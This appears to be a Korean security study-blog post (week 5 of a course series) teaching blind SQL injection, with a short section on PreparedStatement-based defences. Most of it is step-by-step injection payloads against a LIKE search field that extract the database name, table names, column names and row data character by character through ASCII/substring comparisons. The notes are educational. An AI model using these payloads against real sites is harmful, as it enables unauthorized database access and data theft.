Blind SQLi
* 공격 위치?
-> DB 결과가 화면에 안나오는 곳.
-> Error based 에러가 안나오는 곳
-> 모든 곳에서 가능
: SQL 질의문의 참과 거짓의 조건으로 데이터를 추출하는 기법
* 일어나는 곳
> 참과 거짓 조건에 따라 응답이 다른 곳!
-> 어떻게든 다르면 됨.
-> title like '%___%' 추측
overwatch%' and '1%' = '1 참
overwatch%' and '1%' = '2 거짓
응답값 비교할 때 Comparer, Repeator Auto
overwatch%' and (1=1) and '1%' = '1 -> 공격 포맷이 수월하다.
ex) 에러페이지
-> custom error page
ex) 데이터 정렬 순서
* 필요 지식 문법
- (1) limit
limit 0,1 - (2) substring
-> select substring('test, 1,1) = t
-> select substring('test, 2,1) = e - (3) ASCII
- (4) 2진 탐색 알고리즘
Step 1. SQLi 확인
name like '%%'
over%' and '1%'='1
Step 2. Blind SQLi 참/거짓
overwatch%' and (1=1) and '1%'='1
overwatch%' and (1=2) and '1%'='1
Step 3. (select ~ )
overwatch%' and ((select 'test')='test') and '1%'='1
select 'test'
Step 4. 공격 포맷 만들기
overwatch%' and (조건) and '1%'='1
ascii('t')>0
공격 form
> overwatch%' and (ascii(substring((SQL),1,1))>0) and '1%'='1
Step 4. DB 이름 추출
select database()
overwatch%' and (ascii(substring((select database()),2,1))>0) and '1%'='1
Step 5. Table 이름.
select table_name from information_schema.tables where table_schema='segfault_sql' limit 0,1
overwatch%' and (ascii(substring((select table_name from information_schema.tables where table_schema='segfault_sql' limit 1,1),4,1))>0) and '1%'='1
Step 6. Column
select column_name from information_schema.columns where table_name='member' limit 0,1
공격 form
overwatch%' and (ascii(substring((select column_name from information_schema.columns where table_name='member' limit 0,1),1,1))>0) and '1%'='1
Step 7. Data 추출
select ~ from ~ limit 0,1
overwatch%' and (ascii(substring((select ~ from ~ limit 0,1),1,1))>0) and '1%'='1
SQL 대응 방안
> 필터링은 최후의 수단
PreparedStatement
왜 아직도 SQLi가 일어나는가
- PreparedStatement 잘못 쓴 경우
- 옛날에 만든 코드(라이브러리)
-> 겉에다가 필터링 : 우회 - PreparedStatement 적용X
> order by 정렬
> table 이름
> column 이름
'Security > Study' 카테고리의 다른 글
| [7주차] Reflected XSS / DOM Based XSS (0) | 2023.05.12 |
|---|---|
| [6주차] Stored XSS (0) | 2023.05.04 |
| [4주차] Union, Error Based SQL Injection (0) | 2023.04.21 |
| [3주차] SQL Injection (0) | 2023.04.14 |
| [2주차] Cookie, Session (0) | 2023.04.08 |